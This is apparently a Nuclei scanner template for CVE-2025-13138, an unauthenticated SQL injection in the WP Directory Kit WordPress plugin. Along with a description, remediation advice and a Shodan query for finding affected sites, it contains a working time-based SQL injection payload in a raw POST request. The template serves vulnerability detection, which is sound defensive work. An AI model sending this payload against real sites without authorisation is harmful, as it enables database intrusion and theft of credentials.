id: CVE-2025-13138

info:
  name: WP Directory Kit <= 1.4.3 - Unauthenticated SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'columns_search' parameter of the select_2_ajax() function in all versions up to, and including, 1.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    An unauthenticated attacker can extract sensitive information from the WordPress database including user credentials, posts, and other data.
  remediation: |
    Update WP Directory Kit plugin to version 1.4.4 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpdirectorykit/wp-directory-kit-143-unauthenticated-sql-injection-via-select-2-ajax-function
    - https://plugins.trac.wordpress.org/browser/wpdirectorykit/tags/1.4.3/application/controllers/Wdk_frontendajax.php#L546
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"plugins/wpdirectorykit/"
  tags: cve,cve2025,wordpress,wp-plugin,sqli,wpdirectorykit,unauth,wp,time-based

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wdk_public_action&page=wdk_frontendajax&function=select_2_ajax&table=category_m&columns_search=category_title)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(7)))a)--%20-&q[term]=test

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
# digest: 4b0a004830460221008b9bf3f7a4da24d34d8fdbfa8c1e49aa6744529c4cad94c7478f2e367ee4105e022100cbb4b14f771a7b62e7cfc4229ebc4ef9bb7fb5d38393d708393fdc3682363209:922c64590222798bb761d5b6d8e72950